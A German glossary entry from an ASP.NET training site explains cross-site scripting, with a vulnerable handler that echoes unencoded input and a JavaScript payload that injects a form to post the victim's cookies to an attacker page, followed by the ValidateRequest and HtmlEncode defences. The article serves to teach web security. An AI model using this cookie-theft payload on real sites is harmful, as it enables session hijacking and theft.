Sie sind hier:
Wissen
Telefon (Mo-Fr 9 bis 16 Uhr):
0201/649590-0
|
Kontaktformular
MENU
Medien
Übersicht
Lexikon/Glossar
Spickzettel
Weblog
Konferenzvorträge
Fachbücher
Fachartikel
Leserportal
Autoren gesucht!
Literaturtipps
Praxisnahe Fallbeispiele
Downloads
Newsletter
.NET
Startseite
.NET 8.0
.NET 7.0
.NET 6.0
.NET 5.0
.NET Core
.NET 4.0/4.5.x/4.6.x
.NET 3.0/3.5
.NET 2.0
.NET-Lexikon
Programmiersprachen
Entwicklerwerkzeuge
Klassenreferenz
Softwarekomponenten
Windows Runtime
World Wide Wings-Demo
Versionsgeschichte
Codebeispiele
ASP.NET
Artikel
Bücher
Schulung & Beratung
Konferenzen/Events
ASP.NET
Startseite
Lexikon
Sicherheit
Konfiguration
Global.asax
Tracing
Technische Beiträge
Klassenreferenz
Programmiersprachen
Entwicklerwerkzeuge
Softwarekomponenten
Forum
Schulung & Beratung
PowerShell
Startseite
Commandlet-Referenz
Codebeispiele
Commandlet Extensions
Versionsgeschichte
Schulungen+Beratung
Windows
Startseite
Windows Runtime (WinRT)
Windows PowerShell
Windows Scripting
Windows-Schulungen
Windows-Lexikon
Windows-Forum
Scripting
Startseite
Lexikon
FAQ
Bücher
Architektur
Skriptsprachen
Scripting-Hosts
Scripting-Komponenten
COM/DCOM/COM+
ADSI
WMI
WMI-Klassenreferenz
Scripting-Tools
WSH-Editoren
Codebeispiele
.NET-Scripting
Forum
Schulung & Beratung
Nutzer
Anmeldung/Login
Buchleser-Registrierung
Gast-Registrierung
Hilfe
Website-FAQ
Technischer Support
Site Map
Tag Cloud
Suche
Kontakt
Erklärung des Begriffs: Cross-Site Scripting (XSS)
Begriff
Cross-Site Scripting
Abkürzung
XSS
Eintrag zuletzt aktualisiert am
23.07.2012
Zur Stichwortliste unseres Lexikons
Was ist
Cross-Site Scripting
?
Bei einem seitenübergreifenden
Skriptangriff
(Cross-Site-
Scripting
, abgekürzt XSS) gelingt es dem An-greifer, eigenen Clientskriptcode im Kontext einer fremden Webanwendung auszuführen. Dadurch kann der Angreifer z. B. Daten von Cookies »kapern«. Die Gefahr besteht immer, wenn eine Webseite Benutzer-eingaben wieder ausgibt, ohne sie auf enthaltenen Skriptcode zu prüfen.
Angriffsbeispiel
Das erste Beispiel zeigt einen einfachen Fall zur Erläuterung des Grundprinzips, im zweiten Beispiel wird es komplizierter.
Die Webseite, auf die ein Angriff gestartet werden soll, ermöglicht die Eingabe eines Textes. Bevor der Text endgültig gespeichert wird, soll der Text noch einmal angezeigt werden, sodass der Benutzer ihn bestätigen kann:
private void C
OK
Click(object sender, System.EventArgs e)
{
this.C_Ausgabe.Text =
"Sind Sie sicher, dass Sie folgenden Kommentar absenden wollen? <br>" +
C_Eingabe.Text;
this.C_Endgueltig.Visible = true;
}
Listing 1: Serverseitiger Code für das Beispiel
Ein Angreifer könnte nun in das Eingabefeld Browserskriptcode packen und damit erreichen, dass dieses Skript im Browser nach einem Rundgang ausgeführt wird.
Beispiel 2
Beim zweiten Beispiel nutzt der Angreifer die gleiche Grundtechnik, um die Cookies eines Benutzers zu kapern. Dieses Mal geht der Angriff gar nicht von der angegriffenen Webseite aus, sondern von irgendeiner fremden Webseite oder einer
HTML
-E-Mail. Was der Angreifer braucht, ist lediglich das Wissen um eine Webseite, die eine übergebene Information ungeprüft ausgibt.
Der Angreifer sendet einem Benutzer einen Link, der zum Klick auffordert. Hinter dem Link verbirgt sich ein geschickt gestricktes Skript, das eine Anfrage an die anzugreifende Seite enthält, wobei im Parameter wieder ein Skript übergeben wird. Das an die angegriffene Seite (hier: /Angegriffener/ausgabeseite.aspx) übermittelte Skript sorgt dafür, dass die Cookies an eine Seite des Angreifers (hier: /Angreifer/Angreifer.aspx) gesendet werden. Die Angreiferseite kann die Cookies dann speichern. Der Angegriffene beme
rkt
von den Umlenkungen nichts, weil diese viel zu schnell ablaufen.
<script id="clientEvent
Handle
rsJS" language="javascript">
<!--
function document_onclick() {
//document.location.href="welcome.aspx?name=<script>x=document.cookie;alert(x);
//</SCRIPT>";
document.location.href=
'http://localhost:90/_Misc/Sicherheit/Angriffe/XSS2/Angegriffener/
ausgabeseite.aspx?name=<F
ORM
action="http://localhost:90/_Misc/Sicherheit/
Angriffe/XSS2/Angreifer/Angreifer.aspx" method="post" id="idForm">
<INPUT name="cookiejar" type="hidden"></F
ORM
>
<SCRIPT>idForm.cookiejar.value=document.cookie;idForm.submit();</SCRIPT>';
// document.location.href="Startseite.aspx?name=<INPUT name='log'
// type='hidden'><SCRIPT>Form1.action='http://localhost:90/_Misc/Sicherheit/
// Angriffe/XSS2/
// Angreifer/Angreifer.aspx';Form1.log.value=document.cookie;
// Form1.submit();</SCRIPT>";
}
//-->
</script>
Listing 2: Der Programmcode hinter dem Link des Angreifers
Schutz vor diesem Angriff
In ASP.NET ist der seitenübergreifende
Skriptangriff
durch eine in
ASP.NET Page Framework
integrierte Sicherheitsfunktion bereits entschärft. Page Framework beme
rkt
, wenn ein Skript an eine Seite übergeben wird und verweigert dann die Abarbeitung des Skripts.
Die obigen Beispiele funktionieren tatsächlich nur, wenn man die Sicherheitsfunktion durch Validate¬Request="false" in der Seitendirektive deaktiviert:
<%@ Page Language="CS"
AutoEventWireup="false"
Inherits="
WWW
ings.StartSeite"
ValidateRequest="false"
CodeFile="StartSeite.aspx.cs" %>
Listing 30.33 Deaktivieren der Schutzfunktion vor
Skriptangriff
en
Trotz der integrierten Schutzfunktion ist es sinnvoll, alle Ausgaben mit der
Methode
Server.HtmlEncode() zu behandeln und so zu vermeiden, dass eventuell gefährliche Inhalte wirken können, weil sie als Text ausgegeben werden: C
Ausgabe.Text = Server.HtmlEncode(C
Eingabe.Text);
Querverweise zu anderen Begriffen im Lexikon
ASP.NET Page Framework (Page FX)
Skriptangriff
Scripting
Methode
Handle
Hypertext Markup Language (HTML)
Rocket (rkt)
Objekt-Relationales Mapping (ORM)
World Wide Web (WWW)
Beratung & Support
Anfrage für Beratung/Consulting zu Cross-Site Scripting XSS
Gesamter Beratungsthemenkatalog
Technischer Support zum Cross-Site Scripting XSS
Schulungen zu diesem Thema
Angular - Aufbauwissen (Angular Advanced)
Sicherheit in modernen Webanwendungen und Rich Internet Applications (Web Security)
Geschäftsanwendungen mit HTML 5.x und JavaScript (oder TypeScript): Moderne Web 2.0-/HTML5-Browser-Webanwendungen und Mobilanwendungen entwickeln
Sichere Webanwendungen mit IIS und ASP.NET / ASP.NET Core
Von ASP.NET 3.5 nach ASP.NET 4.0/4.5: Neuerungen in ASP.NET 4.0/4.5
Anfrage für eine individuelle Schulung zum Thema Cross-Site Scripting XSS
Gesamter Schulungsthemenkatalog
Bücher zu diesem Thema
Alle unsere aktuellen Fachbücher
E-Book-Abo für ab 99 Euro im Jahr